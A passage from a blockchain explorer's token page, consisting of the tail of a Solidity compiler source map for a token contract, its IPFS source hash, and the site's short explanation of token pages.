18;;;4085:43;3977:18;;8729:91:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8722:4;:98:::0;;-1:-1:-1;;;;;;8722:98:0::1;-1:-1:-1::0;;;;;8722:98:0;;;::::1;::::0;;;::::1;::::0;;8831:11:::1;:18:::0;;-1:-1:-1;;8831:18:0::1;-1:-1:-1::0;8831:18:0::1;::::0;;8582:275::o;9134:106::-;1089:13;:11;:13::i;:::-;-1:-1:-1;;;;;9208:17:0::1;;::::0;;;:8:::1;:17;::::0;;;;:24;;-1:-1:-1;;9208:24:0::1;9228:4;9208:24;::::0;;9134:106::o;5306:249::-;5393:4;342:10;5451:37;5467:4;342:10;5482:5;5451:15;:37::i;:::-;5499:26;5509:4;5515:2;5519:5;5499:9;:26::i;:::-;-1:-1:-1;5543:4:0;;5306:249;-1:-1:-1;;;;5306:249:0:o;9034:92::-;1089:13;:11;:13::i;:::-;9097::::1;:21:::0;9034:92::o;1399:103::-;1089:13;:11;:13::i;:::-;1464:30:::1;1483:10;1464:18;:30::i;:::-;1399:103::o:0;4340:95::-;4387:13;4420:7;4413:14;;;;;:::i;4768:182::-;4837:4;342:10;4893:27;342:10;4910:2;4914:5;4893:9;:27::i;8865:114::-;1089:13;:11;:13::i;:::-;8927:44:::1;8949:1;8953:10;8965:5;8927:13;:44::i;:::-;8865:114:::0;:::o;7055:130::-;7140:37;7149:5;7156:7;7165:5;7172:4;7140:8;:37::i;:::-;7055:130;;;:::o;1225:166::-;1203:6;;-1:-1:-1;;;;;1203:6:0;342:10;1285:23;1281:103;;1332:40;;-1:-1:-1;;;1332:40:0;;342:10;1332:40;;;1257:51:1;1230:18;;1332:40:0;;;;;;;;7644:487;-1:-1:-1;;;;;5065:18:0;;;7744:24;5065:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;7811:37:0;;7807:317;;7888:5;7869:16;:24;7865:132;;;7921:60;;-1:-1:-1;;;7921:60:0;;-1:-1:-1;;;;;4359:32:1;;7921:60:0;;;4341:51:1;4408:18;;;4401:34;;;4451:18;;;4444:34;;;4314:18;;7921:60:0;4139:345:1;7865:132:0;8040:57;8049:5;8056:7;8084:5;8065:16;:24;8091:5;8040:8;:57::i;:::-;7733:398;7644:487;;;:::o;5563:308::-;-1:-1:-1;;;;;5647:18:0;;5643:88;;5689:30;;-1:-1:-1;;;5689:30:0;;5716:1;5689:30;;;1257:51:1;1230:18;;5689:30:0;1085:229:1;5643:88:0;-1:-1:-1;;;;;5745:16:0;;5741:88;;5785:32;;-1:-1:-1;;;5785:32:0;;5814:1;5785:32;;;1257:51:1;1230:18;;5785:32:0;1085:229:1;5741:88:0;5839:24;5847:4;5853:2;5857:5;5839:7;:24::i;1510:191::-;1603:6;;;-1:-1:-1;;;;;1620:17:0;;;-1:-1:-1;;;;;;1620:17:0;;;;;;;1653:40;;1603:6;;;1620:17;1603:6;;1653:40;;1584:16;;1653:40;1573:128;1510:191;:::o;5879:730::-;-1:-1:-1;;;;;5969:18:0;;5965:369;;6020:5;6004:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;5965:369:0;;-1:-1:-1;5965:369:0;;-1:-1:-1;;;;;6080:15:0;;6058:19;6080:15;;;;;;;;;;;6114:19;;;6110:117;;;6161:50;;-1:-1:-1;;;6161:50:0;;-1:-1:-1;;;;;4359:32:1;;6161:50:0;;;4341:51:1;4408:18;;;4401:34;;;4451:18;;;4444:34;;;4314:18;;6161:50:0;4139:345:1;6110:117:0;-1:-1:-1;;;;;6270:15:0;;:9;:15;;;;;;;;;;6288:19;;;;6270:37;;5965:369;-1:-1:-1;;;;;6350:16:0;;6346:213;;6412:12;:21;;;;;;;6346:213;;;-1:-1:-1;;;;;6510:13:0;;:9;:13;;;;;;;;;;:22;;;;;;6346:213;6591:2;-1:-1:-1;;;;;6576:25:0;6585:4;-1:-1:-1;;;;;6576:25:0;;6595:5;6576:25;;;;1465::1;;1453:2;1438:18;;1319:177;6576:25:0;;;;;;;;5879:730;;;:::o;7193:443::-;-1:-1:-1;;;;;7306:19:0;;7302:91;;7349:32;;-1:-1:-1;;;7349:32:0;;7378:1;7349:32;;;1257:51:1;1230:18;;7349:32:0;1085:229:1;7302:91:0;-1:-1:-1;;;;;7407:21:0;;7403:92;;7452:31;;-1:-1:-1;;;7452:31:0;;7480:1;7452:31;;;1257:51:1;1230:18;;7452:31:0;1085:229:1;7403:92:0;-1:-1:-1;;;;;7505:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;7551:78;;;;7602:7;-1:-1:-1;;;;;7586:31:0;7595:5;-1:-1:-1;;;;;7586:31:0;;7611:5;7586:31;;;;1465:25:1;;1453:2;1438:18;;1319:177;7586:31:0;;;;;;;;7193:443;;;;:::o;9248:918::-;9395:9;9373:32;;;;:21;:32;;;;;;;;9369:790;;;9422:30;9436:4;9442:2;9446:5;9422:13;:30::i;9369:790::-;9514:11;;;;9506:36;;;;-1:-1:-1;;;9506:36:0;;4918:2:1;9506:36:0;;;4900:21:1;4957:2;4937:18;;;4930:30;-1:-1:-1;;;4976:18:1;;;4969:42;5028:18;;9506:36:0;4716:336:1;9506:36:0;9577:4;;9557:10;;-1:-1:-1;;;;;9571:10:0;;;9577:4;;9571:10;9570:27;;9592:5;9570:27;;;9585:4;9570:27;9557:40;;9630:1;9616:11;:15;:29;;;;;9644:1;9636:5;:9;9616:29;:47;;;;-1:-1:-1;;;;;;9649:14:0;;;;;;:8;:14;;;;;;;;9616:47;9612:108;;;9684:34;;-1:-1:-1;;;9684:34:0;;5259:2:1;9684:34:0;;;5241:21:1;5298:2;5278:18;;;5271:30;5337:26;5317:18;;;5310:54;5381:18;;9684:34:0;5057:348:1;9612:108:0;9738:5;9734:414;;;9783:13;;9769:11;:27;9765:65;;;9799:29;;-1:-1:-1;;;9799:29:0;;5612:2:1;9799:29:0;;;5594:21:1;5651:2;5631:18;;;5624:30;-1:-1:-1;;;5670:18:1;;;5663:49;5729:18;;9799:29:0;5410:343:1;9765:65:0;9848:30;9862:4;9868:2;9872:5;9848:13;:30::i;9734:414::-;9912:5;9907:241;;9938:30;9952:4;9958:2;9962:5;9938:13;:30::i;9907:241::-;10009:4;;-1:-1:-1;;;;;10001:12:0;;;10009:4;;10001:12;;;;:26;;-1:-1:-1;10023:4:0;;-1:-1:-1;;;;;10017:10:0;;;10023:4;;10017:10;;10001:26;9997:151;;;10048:30;10062:4;10068:2;10072:5;10048:13;:30::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1501:247::-;1560:6;1613:2;1601:9;1592:7;1588:23;1584:32;1581:52;;;1629:1;1626;1619:12;1581:52;1668:9;1655:23;1687:31;1712:5;1687:31;:::i;:::-;1737:5;1501:247;-1:-1:-1;;;1501:247:1:o;1753:456::-;1830:6;1838;1846;1899:2;1887:9;1878:7;1874:23;1870:32;1867:52;;;1915:1;1912;1905:12;1867:52;1954:9;1941:23;1973:31;1998:5;1973:31;:::i;:::-;2023:5;-1:-1:-1;2080:2:1;2065:18;;2052:32;2093:33;2052:32;2093:33;:::i;:::-;1753:456;;2145:7;;-1:-1:-1;;;2199:2:1;2184:18;;;;2171:32;;1753:456::o;2403:180::-;2462:6;2515:2;2503:9;2494:7;2490:23;2486:32;2483:52;;;2531:1;2528;2521:12;2483:52;-1:-1:-1;2554:23:1;;2403:180;-1:-1:-1;2403:180:1:o;2796:388::-;2864:6;2872;2925:2;2913:9;2904:7;2900:23;2896:32;2893:52;;;2941:1;2938;2931:12;2893:52;2980:9;2967:23;2999:31;3024:5;2999:31;:::i;:::-;3049:5;-1:-1:-1;3106:2:1;3091:18;;3078:32;3119:33;3078:32;3119:33;:::i;:::-;3171:7;3161:17;;;2796:388;;;;;:::o;3189:380::-;3268:1;3264:12;;;;3311;;;3332:61;;3386:4;3378:6;3374:17;3364:27;;3332:61;3439:2;3431:6;3428:14;3408:18;3405:38;3402:161;;3485:10;3480:3;3476:20;3473:1;3466:31;3520:4;3517:1;3510:15;3548:4;3545:1;3538:15;3402:161;;3189:380;;;:::o;3574:251::-;3644:6;3697:2;3685:9;3676:7;3672:23;3668:32;3665:52;;;3713:1;3710;3703:12;3665:52;3745:9;3739:16;3764:31;3789:5;3764:31;:::i;4489:222::-;4554:9;;;4575:10;;;4572:133;;;4627:10;4622:3;4618:20;4615:1;4608:31;4662:4;4659:1;4652:15;4690:4;4687:1;4680:15

Swarm Source

ipfs://a068f0acab4594e41b12bfbb1e885f62bec260487f017042e6524b181af16d39
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.